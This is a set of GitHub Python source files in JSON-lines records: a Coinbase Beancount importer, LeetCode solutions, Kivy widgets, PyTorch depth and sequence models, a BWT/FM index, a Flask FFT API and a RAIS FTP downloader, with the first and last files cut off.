Type\"].lstrip(\"Advanced Trade \")\n instrument = row[\"Asset\"]\n quantity = D(row[\"Quantity Transacted\"])\n fees = row[\"Fees and/or Spread\"]\n asset_price_currency = row[\"Spot Price Currency\"]\n reported_asset_price = D(row[\"Spot Price at Transaction\"])\n subtotal = D(row['Subtotal'])\n total = D(row[\"Total (inclusive of fees and/or spread)\"])\n\n total_amount = common.rounded_amt(total, asset_price_currency)\n units = common.rounded_amt(quantity, instrument)\n fees = common.rounded_amt(D(fees), asset_price_currency)\n account_cash = account.join(self.account_root, asset_price_currency)\n account_inst = account.join(self.account_root, instrument)\n\n desc = \"CB: \" + row[\"Notes\"].replace(\"Bought\", \"Buy\").replace(\"Sold\", \"Sell\")\n links = set() # { \"ut{0[REF #]}\".format(row) }\n\n if rtype in (\"Send\", \"Receive\"):\n assert fees.number == ZERO\n\n account_external = \"UNDETERMINED\"\n if rtype == \"Send\":\n account_external = self.network.target(account_inst, instrument)\n else:\n account_external = self.network.source(account_inst, instrument)\n\n sign = Decimal(1 if (rtype == \"Receive\") else -1)\n txn = data.Transaction(meta, date, flags.FLAG_OKAY,\n None, desc, data.EMPTY_SET, links,\n [\n data.Posting(account_inst, amount.mul(units, sign),\n common.usd_cost_spec(instrument), None, None, None),\n data.Posting(account_external, amount.mul(units, -sign),\n common.usd_cost_spec(instrument), None, None, None),\n ],\n )\n\n elif rtype in (\"Buy\", \"Sell\"):\n # Used as cost for buys, proceeds for sells.\n fee_adjusted_value = total / quantity\n desc += f' (@{reported_asset_price}, ' \\\n f\"w fees ~{fee_adjusted_value:.4f})\"\n \n meta['fee-info'] = f\"(fees={fees}, total={total}, subtotal={subtotal}); \"\\\n f\"fee-adjusted per-unit value: {fee_adjusted_value} {asset_price_currency}\"\n\n if rtype == \"Buy\":\n postings = [\n data.Posting(account_inst, units,\n Cost(fee_adjusted_value, asset_price_currency, None, None),\n None, None, None),\n data.Posting(account_cash, -total_amount,\n None, None, None, None),\n ]\n else:\n postings = [\n data.Posting(account_inst, -units,\n Cost(None, None, None, None),\n Amount(fee_adjusted_value, asset_price_currency),\n None, None),\n data.Posting(account_cash, total_amount,\n None, None, None, None),\n data.Posting(self.account_gains,\n None, None, None, None, None),\n ]\n\n txn = data.Transaction(meta, date, flags.FLAG_OKAY, None,\n desc, data.EMPTY_SET, links, postings)\n\n else:\n logging.error(\"Unknown row type: %s; skipping\", rtype)\n continue\n common.attach_timestamp(txn, timestamp)\n entries.append(txn)\n\n return entries\n\n # Example usage; also enables running integration tests\n @staticmethod\n def test_instance():\n return CoinbaseImporter(\n account_root=\"Assets:Coinbase\",\n account_gains=\"Income:PnL\",\n account_fees=\"Expenses:Financial:Fees\",\n network=Network([Link(\"Coinbase\", \"Bank\", \"USD\"),\n Link(\"Coinbase\", \"Ledger\", \"BTC\")],\n untracked_institutions=[\"Bank\", \"Ledger\"])\n )\n\nif __name__ == \"__main__\":\n main(CoinbaseImporter.test_instance())\n","repo_name":"ericaltendorf/magicbeans","sub_path":"src/magicbeans/importers/coinbase.py","file_name":"coinbase.py","file_ext":"py","file_size_in_byte":7556,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"30764880887","text":"#! python3\r\n# coding: utf-8\r\n\"\"\"\r\nTest tree constructor.\r\n\"\"\"\r\nimport os\r\nimport datetime\r\n\r\nposs_dirs = ['spam', 'egg', 'chips', 'mushrooms']\r\nMAX_DEPTH=6\r\n\r\ndef mkdirs(indir=\"test_tree\", depth=0):\r\n \"\"\" Make the directories. \"\"\"\r\n depth+=1\r\n\r\n if depth > MAX_DEPTH:\r\n return\r\n os.chdir(indir)\r\n for d in poss_dirs:\r\n os.mkdir(d)\r\n mkdirs(d, depth)\r\n os.chdir('..')\r\n\r\nif __name__ == \"__main__\":\r\n started = datetime.datetime.now()\r\n print(\"Constructing Test Tree\")\r\n os.mkdir('test_tree')\r\n mkdirs()\r\n print(f\"Test Tree Constructed in {datetime.datetime.now()-started}\")\r\n","repo_name":"GadgetSteve/rmmty_tree","sub_path":"build_testtree.py","file_name":"build_testtree.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32201838610","text":"# 990. Satisfiability of Equality Equations\nfrom collections import defaultdict\nfrom typing import List\n\n\nclass Solution:\n def equationsPossible(self, equations: List[str]) -> bool:\n count = 0\n same = defaultdict(list)\n diff = defaultdict(list)\n values = {}\n for eq in equations:\n if eq[1] == '=':\n same[eq[0]].append(eq[3])\n same[eq[3]].append(eq[0])\n else:\n diff[eq[0]].append(eq[3])\n diff[eq[3]].append(eq[0])\n\n for v in diff:\n if v in diff[v]:\n return False\n\n def dfs(curr):\n for nei in same[curr]:\n if nei not in values:\n values[nei] = values[curr]\n dfs(nei)\n\n for v in same.keys():\n if v not in values:\n values[v] = count\n dfs(v)\n count += 1\n for v in diff.keys():\n val = values.get(v, None)\n if val != None:\n for v2 in diff[v]:\n val2 = values.get(v2, None)\n if val2 != None and val2 == val:\n return False\n\n\nclass UnionFind:\n def __init__(self, size):\n self.root = [i for i in range(size)]\n self.count = size\n\n def find(self, x):\n if self.root[x] != x:\n self.root[x] = self.find(self.root[x])\n return self.root[x]\n\n def union(self, x, y):\n rootX = self.find(x)\n rootY = self.find(y)\n if rootX == rootY:\n return\n self.root[rootY] = rootX\n self.count -= 1\n\n def connected(self, x, y):\n return self.find(x) == self.find(y)\n\n\nclass Solution2:\n def equationsPossible(self, equations: List[str]) -> bool:\n uf = UnionFind(26)\n equations_same = [x for x in equations if x[1] == '=']\n equations_notsame = [x for x in equations if x[1] == '!']\n\n for eq in equations_same:\n xi, yi = ord(eq[0]) - ord('a'), ord(eq[-1]) - ord('a')\n uf.union(xi, yi)\n\n for eq in equations_notsame:\n xi, yi = ord(eq[0]) - ord('a'), ord(eq[-1]) - ord('a')\n if uf.connected(xi, yi):\n return False\n return True\n","repo_name":"caichenghao1991/leetcode","sub_path":"graph/satisfiability_of_equality_equations.py","file_name":"satisfiability_of_equality_equations.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40885645433","text":"from kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.slider import Slider\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy_garden.filebrowser import FileBrowser\n\nfrom src.boundary.guiparam.guiparam import *\nimport os\nfrom os.path import join, isdir\nimport gettext\n_ :gettext\n\nclass ParamBox(BoxLayout):\n param : GuiParam = None\n selectvalue : any = []\n\n def getValue(self):\n return self.selectvalue\n\n def getName(self):\n return self.param.name\n\nclass ParamCheckBoxBox(ParamBox):\n def setup(self, param: GuiParamCheckBox):\n self.param = param\n self.selectvalue = param.defvalue\n\n displayname_label = self.ids[\"displayname\"]\n displayname_label.text = param.displayname\n\n value_checkbox = self.ids[\"valueparameter\"]\n value_checkbox.active = param.defvalue\n value_checkbox.bind(on_press=self.onValueChange)\n\n def onValueChange(self, instance):\n value_checkbox = self.ids[\"valueparameter\"]\n self.selectvalue = value_checkbox.active\n\nclass ParamDirBox(ParamBox):\n def setup(self, param: GuiParamDir):\n self.param = param\n self.selectvalue = param.defvalue\n\n displayname_label = self.ids[\"displayname\"]\n displayname_label.text = param.displayname\n\n value_label = self.ids[\"valueparameter\"]\n value_label.text = param.defvalue\n\n dirdialog_button = self.ids[\"dirdialog\"]\n dirdialog_button.bind(on_press=self.onValueChange)\n\n def onValueChange(self, instance):\n value_label = self.ids[\"valueparameter\"]\n\n dirname = ''\n if(os.path.dirname(value_label.text)!=''):\n dirname = os.path.dirname(value_label.text)\n else:\n dirname = os.path.expanduser('~')\n\n dir_browser = FileBrowser(path=dirname, filters=[self.is_dir], dirselect=True)\n self._popup = Popup(title=\"Select Directory\", content=dir_browser,\n size_hint=(0.9, 0.9))\n dir_browser.bind(\n on_success=self.select,\n on_canceled=self.dismiss_popup)\n self._popup.open()\n\n def is_dir(self,directory, filename):\n return isdir(join(directory, filename))\n def dismiss_popup(self, instance):\n self._popup.dismiss()\n\n def select(self, inctance):\n path = inctance.path\n value_label = self.ids[\"valueparameter\"]\n filename = inctance.selection\n if(len(filename)>0):\n filename = join(path, filename[0])\n value_label.text = filename\n self.selectvalue = filename\n self.dismiss_popup(self)\n\nclass ParamFileBox(ParamBox):\n def setup(self, param: GuiParamFile):\n self.param = param\n self.selectvalue = param.defvalue\n\n displayname_label = self.ids[\"displayname\"]\n displayname_label.text = param.displayname\n\n value_label = self.ids[\"valueparameter\"]\n value_label.text = param.defvalue\n\n filedialog_button = self.ids[\"filedialog\"]\n filedialog_button.bind(on_press=self.onValueChange)\n\n def onValueChange(self, instance):\n value_label = self.ids[\"valueparameter\"]\n\n dirname = ''\n if(os.path.dirname(value_label.text)!=''):\n dirname = os.path.dirname(value_label.text)\n else:\n dirname = os.path.expanduser('~')\n\n dir_browser = FileBrowser(path=dirname)\n self._popup = Popup(title=\"Select File\", content=dir_browser,\n size_hint=(0.9, 0.9))\n dir_browser.bind(\n on_success=self.select,\n on_canceled=self.dismiss_popup)\n self._popup.open()\n\n\n def dismiss_popup(self, instance):\n self._popup.dismiss()\n\n def select(self, inctance):\n path = inctance.path\n value_label = self.ids[\"valueparameter\"]\n filename = inctance.selection\n if(len(filename)>0):\n filename = os.path.join(path, filename[0])\n value_label.text = filename\n self.selectvalue = filename\n self.dismiss_popup(self)\n\nclass ParamSpinnerBox(ParamBox):\n def setup(self, param: GuiParamSpinner):\n self.param = param\n self.selectvalue = param.defvalue\n\n displayname_label = self.ids[\"displayname\"]\n displayname_label.text = param.displayname\n\n value_spinner = self.ids[\"valueparameter\"]\n value_spinner.values = param.spinnerlist.keys()\n for key, value in param.spinnerlist.items():\n if(value == param.defvalue):\n value_spinner.text = key\n value_spinner.bind(text=self.onValueChange)\n\n def onValueChange(self, instance, spinner):\n value_spinner = self.ids[\"valueparameter\"]\n self.selectvalue = self.param.spinnerlist[value_spinner.text]\n\n\nclass ParamNumberBox(ParamBox):\n def setup(self, param: GuiParamNumber):\n self.param: GuiParamNumber = param\n self.selectvalue = param.defvalue\n\n displayname_label = self.ids[\"displayname\"]\n displayname_label.text = param.displayname +\" (\"+str(param.minvalue)+\" - \"+str(param.maxvalue)+\")\"\n\n value_slider = self.ids[\"valueslider\"]\n value_slider: Slider\n value_slider.max = param.maxvalue\n value_slider.min = param.minvalue\n value_slider.step = param.step\n value_slider.value = param.defvalue\n\n value_textinput = self.ids[\"valueparameter\"]\n value_textinput: TextInput\n\n if(param.isinteger):\n value_textinput.input_filter = 'int'\n else:\n value_textinput.input_filter = 'float'\n value_textinput.text = str(param.defvalue)\n\n value_textinput.bind(text=self.onValueChange)\n\n def onValueChange(self, instance, text):\n value_textinput = self.ids[\"valueparameter\"]\n value_slider: Slider = self.ids[\"valueslider\"]\n value_number = self.selectvalue\n if(self.param.isinteger):\n value_number = int(value_textinput.text)\n else:\n value_number = float(value_textinput.text)\n value_slider.value = value_number\n if(value_number > self.param.maxvalue):\n value_number = self.param.maxvalue\n elif(value_number < self.param.minvalue):\n value_number = self.param.minvalue\n self.selectvalue = value_number\n\nclass ParamStringBox(ParamBox):\n def setup(self, param: GuiParamString):\n self.param: GuiParamString = param\n self.selectvalue = param.defvalue\n\n dislayname_label = self.ids[\"displayname\"]\n dislayname_label.text = param.displayname + _(\" max Zeichen \")+ str(param.maxlenght)\n\n value_text = self.ids[\"valueparameter\"]\n value_text.text = param.defvalue\n value_text.bind(text=self.onValueChange)\n\n def onValueChange(self, instance, texti):\n value_text = self.ids[\"valueparameter\"]\n text = value_text.text\n if(len(text) > self.param.maxlenght):\n text = text[:self.param.maxlenght]\n self.selectvalue = text\n value_text.text = text\n","repo_name":"DosennooB/astAV","sub_path":"src/gui/utils/parambox.py","file_name":"parambox.py","file_ext":"py","file_size_in_byte":7128,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"22009584557","text":"import torch\nimport torch.nn as nn\nfrom config import *\n\nclass LSTM(nn.Module):\n def __init__(self, input_size=1, hidden_layer_size=100,\n output_size=1, batch_size = 32):\n super().__init__()\n self.hidden_layer_size = hidden_layer_size\n self.batch_size = batch_size\n self.lstm = nn.LSTM(input_size, hidden_layer_size)\n\n self.linear = nn.Linear(hidden_layer_size, output_size)\n\n self.hidden_cell = (torch.zeros(1, self.batch_size, self.hidden_layer_size),\n torch.zeros(1, self.batch_size, self.hidden_layer_size))\n\n def forward(self, input_seq):\n batch_size, seq_len = input_seq.shape[0], input_seq.shape[1]\n lstm_out, self.hidden_cell = self.lstm(input_seq.view(seq_len, batch_size, 1),\n self.hidden_cell) #lstmのデフォルトの入力サイズは(シーケンスサイズ、バッチサイズ、特徴量次元数)\n predictions = self.linear(self.hidden_cell[0].view(batch_size, -1))\n return predictions[:, 0]\n\n\nclass Encoder(nn.Module):\n def __init__(self, input_dim=1, hidden_dim=100, output_dim=1):\n '''\n Args:\n -----\n input_dim : int\n 入力シーケンスデータの次元\n hidden_dim : int\n LSTMの隠れ層の次元\n output_dim : int\n 出力シーケンスデータの次元\n '''\n super(Encoder, self).__init__()\n self.lstm = nn.LSTM(input_size=input_dim, hidden_size=hidden_dim, batch_first=True)\n\n def forward(self, sequence, hidden0=None):\n '''\n Args:\n -----\n sequence : multi-dimensions list\n Encoder入力するシーケンスデータ\n hidden0 : tuple\n 隠れ層とセルの初期状態を意味するタプル\n\n Returns:\n --------\n state : tuple\n LSTMから最終的に出力される隠れ層とセル\n '''\n # Many to Oneなので、第2戻り値を使う\n output, state = self.lstm(sequence, hidden0)\n # state = (h, c)\n return state\n\n\nclass Decoder(nn.Module):\n def __init__(self, input_dim=1, hidden_dim=100, output_dim=1):\n super(Decoder, self).__init__()\n self.lstm = nn.LSTM(input_dim, hidden_dim, batch_first=True)\n # LSTMのhidden_dim次元の隠れ層をoutput_dim次元に変換する全結合層\n self.hidden2linear = nn.Linear(hidden_dim, output_dim)\n\n def forward(self, sequence, encoder_state):\n # Many to Manyなので、第1戻り値を使う。\n # 第2戻り値は推論時に次の文字を生成するときに使います。\n output, state = self.lstm(sequence, encoder_state)\n output = self.hidden2linear(output)\n return output, state\n","repo_name":"buront11/virtual_currency","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70242269044","text":"import bwt_fm_interface as bfi\n\n\nclass BwtFmOptimized(bfi.BwtFmInterface):\n def __init__(self, text, suffix_array_factor, tally_factor, suffix_array_file, bwt_file=None):\n \"\"\"\n Constructor for BwtFmOptimized.\n Parse suffix array and BWT from files. If those files are None, build BWT and suffix array.\n Count the number of each char and build first column.\n Downsamle suffix array with given suffix_array_factor. Build tally matrix with given tally_factor.\\n\n Parameters:\n text: String, required\n suffix_array_factor: Int, required\n tally_factor: Int, required\n suffix_array_file: String, default = None\n bwt_file: String, default = None\n \"\"\"\n super().__init__(text, suffix_array_factor, tally_factor, suffix_array_file, bwt_file)\n\n self._tally = self._build_tally()\n\n def _build_suffix_array(self):\n \"\"\"\n Build suffix array with given suffix_array_factor.\n \"\"\"\n with open(self._suffix_array_file, \"r\") as file:\n return [int(position) for index, position in enumerate(file.read().split(' ')) if index % self._suffix_array_factor == 0]\n\n def _build_tally(self):\n \"\"\"\n Builds tally matrix with given tally_factor. Count b-rank of each character.\n Returns a 2D array of every i-th b-rank for each character, where i represents tally factor.\n \"\"\"\n current_count = dict()\n tally = dict()\n for c in self._counts_per_char:\n if c != '$':\n current_count[c] = 0\n tally[c] = []\n for i, c in enumerate(self._bwt):\n if c != '$':\n current_count[c] += 1\n if i % self._tally_factor == 0:\n for c in current_count:\n tally[c].append(current_count[c])\n return tally\n\n def _get_b_rank(self, bwt_index):\n \"\"\"\n Returns b-rank for a character at bwt_index at BWT.\n \"\"\"\n c = self._bwt[bwt_index]\n if c == '$':\n return 0\n return self._get_tally_rank(c, bwt_index) - 1\n\n def _get_tally_rank(self, c, bwt_index):\n \"\"\"\n Returns tally rank for a character at bwt_index at BWT, for a range defined by tally_factor.\n \"\"\"\n tally_index = bwt_index // self._tally_factor\n c_count = self._tally[c][tally_index]\n current_index = tally_index * self._tally_factor + 1\n while (current_index <= bwt_index):\n if self._bwt[current_index] == c:\n c_count += 1\n current_index += 1\n return c_count\n\n def _find_predecessors_in_range(self, c, start, end):\n \"\"\"\n Find character c in a range (start, end).\\n\n Parameters:\n c: String, required\n start: Int, required\n end: Int, required\n \"\"\"\n if c == '$' or c not in self._counts_per_char:\n return None\n start_tally = self._get_tally_rank(c, start - 1) if start != 0 else 0\n end_tally = self._get_tally_rank(c, end)\n c_count = end_tally - start_tally\n if c_count == 0:\n return None\n else:\n first_b_rank = start_tally\n last_b_rank = end_tally - 1\n return (self._get_first_column_index(c, first_b_rank), self._get_first_column_index(c, last_b_rank))\n","repo_name":"jelenajaksic/GI_Zadatak10","sub_path":"src/bwt_fm_optimized.py","file_name":"bwt_fm_optimized.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13804858678","text":"import tensorflow as tf\ntf.compat.v1.disable_v2_behavior()\n\nfrom src.datasets.newsgroups import NewsGroups\nfrom src.models.cnn1 import getCNN1\nfrom src.models.predict import predict_ensamble\n\nimport tensorflow as tf\n\ndef build():\n \n # config\n RANDOM_STATE = 1\n\n VOCAB_SIZE = 20000\n MAX_SEQUENCE_LENGTH = 500\n\n NUM_SPLITS = 5\n\n BATCH_SIZE= 100\n EMBEDDING_DIM = 100\n NUM_EPOCHS = 100\n\n # get data\n newsGroups = NewsGroups()\n\n X_train_set, y_train_set, X_test_set, y_test_set, X_val, y_val = newsGroups.getRankedDataSplits(\n vocab_size=VOCAB_SIZE,\n max_sequence_length=MAX_SEQUENCE_LENGTH,\n n_splits=NUM_SPLITS,\n test_size=4500,\n random_state=RANDOM_STATE\n )\n\n # training\n callback = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=10)\n \n T = 5\n models_as_set = []\n for _ in range(NUM_SPLITS):\n models_as = [getCNN1(vocab_size=VOCAB_SIZE, embedding_dims=EMBEDDING_DIM, max_sequence_len=MAX_SEQUENCE_LENGTH, n_classes=20) for i in range(T)]\n models_as_set.append(models_as)\n \n for i in range(NUM_SPLITS):\n for t in range(T):\n models_as_set[i][t].compile(loss='categorical_crossentropy',\n optimizer=tf.keras.optimizers.Adam(0.0001),\n metrics=['accuracy'])\n models_as_set[i][t].fit(X_train_set[i], y_train_set[i],\n batch_size=BATCH_SIZE,\n epochs=NUM_EPOCHS,\n callbacks=[callback],\n validation_data=(X_test_set[i], y_test_set[i])\n )\n models_as_set[i][t].save(f'models/newsGroups/model_CNN1_EN_{i}_{t}')\n print('###', i, t)\n \n\n # predict \n dfs = []\n for i in range(len(models_as_set)):\n dfs.append(predict_ensamble(models_as_set[i], X_val, y_val))\n\n #save df\n name = 'CNN1_EN'\n\n i = 0\n for df in dfs:\n df.to_pickle(f\"pickle/newsGroups/{name}_{i}.pkl\")\n i = i+1","repo_name":"jsandersen/CMT","sub_path":"training/NewsGroups_CNN1_EN.py","file_name":"NewsGroups_CNN1_EN.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32435101889","text":"\ndef doTest() : \n global errorReason\n try:\n playTab = find(Pattern(\"1434533736399.png\").exact())\n playTab2 = find(\"1434447787800.png\")\n \n obj = exists(\"1434437263056.png\",5)\n if obj != None :\n dragDrop(obj, playTab)\n wait(2)\n playTab.doubleClick()\n wait(5)\n playTab.doubleClick()\n wait(5)\n playTab.rightClick()\n wait(\"1434448832344.png\")\n hover(\"1434448832344.png\")\n click(\"1434448848764.png\")\n wait(5)\n playTab2.click()\n return True\n except FindFailed :\n errorReason = \"no target resolution or framerate\"\n return False\n\n errorReason = \"Unknown\"\nwhile True :\n if doTest() == False :\n alert(errorReason)\n wait(1)\n \n \n ","repo_name":"OldFeelLee/sikuliProject","sub_path":"legacy/PlayTest.sikuli/PlayTest.py","file_name":"PlayTest.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28899610752","text":"\r\nimport matplotlib.pyplot as plt\r\nimport torchvision.transforms as transforms\r\nimport cv2\r\nimport os\r\nimport argparse\r\nimport numpy as np\r\nimport torch\r\nimport torch\r\nfrom model import LDRN\r\nimport glob\r\nimport torch.backends.cudnn as cudnn\r\nfrom PIL import Image\r\nfrom torchvision import transforms\r\nimport torch.nn.functional as F\r\nimport argparse\r\nimport os\r\nfrom utils import *\r\nfrom logger import TermLogger, AverageMeter\r\nfrom tensorboardX import SummaryWriter\r\nfrom trainer import validate\r\nfrom model import *\r\n\r\nparser = argparse.ArgumentParser(description='Laplacian Depth Residual Network training on KITTI',\r\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\r\n\r\n# Directory setting\r\n\r\nparser.add_argument('--model_dir', type=str, default=r'NYU_LDRN_ResNext101_epoch35_synthe_org/epoch_25_loss_3.2482_1.pkl')\r\nparser.add_argument('--img_dir', type=str, default=None)\r\n\r\n# Dataloader setting\r\nparser.add_argument('--seed', default=0, type=int, help='seed for random functions, and network initialization')\r\n\r\n# Model setting\r\nparser.add_argument('--encoder', type=str, default=\"ResNext101\")\r\nparser.add_argument('--pretrained', type=str, default=\"NYU\")\r\nparser.add_argument('--norm', type=str, default=\"BN\")\r\nparser.add_argument('--n_Group', type=int, default=32)\r\nparser.add_argument('--reduction', type=int, default=16)\r\nparser.add_argument('--act', type=str, default=\"ReLU\")\r\nparser.add_argument('--max_depth', default=80.0, type=float, metavar='MaxVal', help='max value of depth')\r\nparser.add_argument('--lv6', action='store_true', help='use lv6 Laplacian decoder')\r\n\r\n# GPU setting\r\nparser.add_argument('--cuda', action='store_true')\r\nparser.add_argument('--gpu_num', type=str, default=\"0\", help='force available gpu index')\r\nparser.add_argument('--rank', type=int, help='node rank for distributed training', default=0)\r\n\r\nargs = parser.parse_args()\r\n\r\n# assert (args.img_dir is not None) or (args.img_folder_dir is not None), \"Expected name of input image file or folder\"\r\n\r\nif args.cuda and torch.cuda.is_available():\r\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu_num\r\n cudnn.benchmark = True\r\n print('=> on CUDA')\r\nelse:\r\n print('=> on CPU')\r\n\r\nif args.pretrained == 'KITTI':\r\n args.max_depth = 80.0\r\nelif args.pretrained == 'NYU':\r\n args.max_depth = 1000.0\r\n\r\n\r\ndef scale_torch(img):\r\n \"\"\"\r\n Scale the image and output it in torch.tensor.\r\n :param img: input rgb is in shape [H, W, C], input depth/disp is in shape [H, W]\r\n :param scale: the scale factor. float\r\n :return: img. [C, H, W]\r\n \"\"\"\r\n if len(img.shape) == 2:\r\n img = img[np.newaxis, :, :]\r\n if img.shape[2] == 3:\r\n transform = transforms.Compose([transforms.ToTensor(),\r\n\t\t transforms.Normalize((0.485, 0.456, 0.406) , (0.229, 0.224, 0.225) )])\r\n img = transform(img)\r\n else:\r\n img = img.astype(np.float32)\r\n img = torch.from_numpy(img)\r\n return img\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n\r\n # create depth model\r\n\r\n print('=> loading model..')\r\n depth_model = LDRN(args)\r\n if args.cuda and torch.cuda.is_available():\r\n depth_model = depth_model.cuda()\r\n depth_model = torch.nn.DataParallel(depth_model)\r\n assert (args.model_dir != ''), \"Expected pretrained model directory\"\r\n depth_model.module.load_state_dict(torch.load(args.model_dir))\r\n depth_model.eval()\r\n\r\n\r\n image_dir = 'test_images/'\r\n imgs_list = os.listdir(image_dir)\r\n imgs_list.sort()\r\n imgs_path = [os.path.join(image_dir, i) for i in imgs_list if i != 'outputs']\r\n image_dir_out = image_dir + '/outputs'\r\n os.makedirs(image_dir_out, exist_ok=True)\r\n\r\n for i, v in enumerate(imgs_path):\r\n print('processing (%04d)-th image... %s' % (i, v))\r\n rgb = cv2.imread(v)\r\n rgb_c = rgb[:, :, ::-1].copy()\r\n gt_depth = None\r\n A_resize = cv2.resize(rgb_c, (448, 448))\r\n rgb_half = cv2.resize(rgb, (rgb.shape[1]//2, rgb.shape[0]//2), interpolation=cv2.INTER_LINEAR)\r\n\r\n\r\n img_torch = scale_torch(A_resize)[None, :, :, :]\r\n pred_depth = depth_model.inference(img_torch).cpu().numpy().squeeze()\r\n\r\n pred_depth_ori = cv2.resize(pred_depth, (rgb.shape[1], rgb.shape[0]))\r\n\r\n # if GT depth is available, uncomment the following part to recover the metric depth\r\n #pred_depth_metric = recover_metric_depth(pred_depth_ori, gt_depth)\r\n\r\n img_name = v.split('/')[-1]\r\n cv2.imwrite(os.path.join(image_dir_out, img_name), rgb)\r\n # save depth\r\n plt.imsave(os.path.join(image_dir_out, img_name[:-4]+'-depth.png'), pred_depth_ori, cmap='rainbow')\r\n cv2.imwrite(os.path.join(image_dir_out, img_name[:-4]+'-depth_raw.png'), (pred_depth_ori/pred_depth_ori.max() * 60000).astype(np.uint16))\r\n","repo_name":"khan9048/LapDepth-for-Facial-depth-estimation-","sub_path":"depth_shape.py","file_name":"depth_shape.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"38690129300","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS, cross_origin\n\nimport numpy as np\nfrom scipy import fft as fft\n\napp = Flask(__name__)\ncors = CORS(app)\n\ndef validate_sec(original_sec):\n \"\"\" Valida que la secuencia de entrada sea correcta\"\"\"\n # Lista temporal sin comas\n temp_list = [n for n in original_sec.split (\",\") if n != '']\n flag = ''\n\n # Checar si es potencia de 2\n list_size = len(temp_list)\n if (list_size and (not(list_size & (list_size - 1))) ):\n flag += '1'\n else:\n flag += '0'\n\n\n # Checar si tiene letras\n flag2 = '1'\n for n in temp_list:\n n_temp = n\n try:\n n_temp = complex(n)\n except ValueError:\n flag2 = '0'\n \n # Organiza mi bandera final \n if flag2 == '0':\n flag += '0'\n else: \n flag += '1'\n\n return flag\n\ndef transform_list(original_list):\n '''Transforma el String en una lista de numeros Complejos'''\n temp_list = [n for n in original_list.split (\",\") if n != '']\n new_list = []\n i = 1\n for n in temp_list:\n new_list.append(complex(n))\n i += 1\n return new_list\n\n# Obtiene la llamada POST desde el back\n@app.route('/api/calculate', methods=['POST'])\ndef get_sequence():\n '''Obtiene la secuencia desde el Front, hace la operacion y\n regresa el resultado '''\n sequence = request.json['sec']\n operation = request.json['ope']\n\n # Validar\n flag = validate_sec(sequence)\n if (flag == '11'):\n # Hace la operacion\n if operation == 'FFT':\n y = fft.fft(transform_list(sequence))\n elif operation == 'IFFT':\n y = fft.ifft(transform_list(sequence))\n # Redondea y convierte en String\n y = np.array_str(np.around(y,2))\n elif flag == '01':\n y = 'La secuencia no es de tamaño n^2'\n elif flag == '10':\n y = 'La secuencia no es correcta'\n else:\n y = 'La secuencia no es de tamaño n^2 y tampoco esta escrita correctamente'\n\n # Regresa el resultado\n response = jsonify(y)\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n return response\n\n@app.route('/')\ndef index():\n return app.send_static_file('index.html')\n\n\n# Corre la aplicacion\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=\"80\", debug= \"true\" )","repo_name":"Isheros/fft-ifft","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2299422018","text":"from ftplib import FTP\nimport io\nimport random\nimport pandas as pd\nimport os\nimport typer\nimport tempfile\nimport py7zr\nimport numpy as np\n\n\nftp_host = 'ftp.mtps.gov.br'\nrais_path = '/pdet/microdados/RAIS/'\nSAVE_PATH = \"data\"\n\nto_drop = [\n \"Bairros SP\",\n \"Bairros Fortaleza\",\n \"Bairros RJ\",\n \"CNAE 95 Classe\",\n \"Distritos SP\",\n \"Faixa Etária\",\n \"Faixa Hora Contrat\",\n \"Ind CEI Vinculado\",\n \"Ind Simples\",\n \"Mun Trab\",\n \"Nacionalidade\",\n \"Regiões Adm DF\",\n \"Tipo Estab.1\",\n \"Vl Remun Dezembro Nom\",\n \"Vl Remun Média Nom\",\n \"Vl Remun Dezembro (SM)\",\n \"Vl Rem Janeiro SC\",\n \"Vl Rem Fevereiro SC\",\n \"Vl Rem Março SC\",\n \"Vl Rem Abril SC\",\n \"Vl Rem Maio SC\",\n \"Vl Rem Junho SC\",\n \"Vl Rem Julho SC\",\n \"Vl Rem Agosto SC\",\n \"Vl Rem Setembro SC\",\n \"Vl Rem Outubro SC\",\n \"Vl Rem Novembro SC\",\n \"Ano Chegada Brasil\",\n]\n\n\ndef _get_total_lines(text_path):\n with open(text_path, \"r\", encoding='latin1') as file:\n total_lines = sum(1 for line in file)\n return total_lines\n\n\ndef _random_lines(n_lines, sample_proportion=.01, seed=10):\n random.seed(seed)\n sample_size = int(n_lines * sample_proportion)\n sample_idxs = random.sample(range(1, n_lines), sample_size)\n return np.array([0] + sorted(sample_idxs))\n\n\ndef _extract_txt_from_7z(archive, txt_file_name, low_memory):\n with py7zr.SevenZipFile(archive, mode='r') as z:\n with tempfile.TemporaryDirectory() as temp_dir:\n z.extract(targets=[txt_file_name], path=temp_dir)\n txt_path = os.path.join(temp_dir, 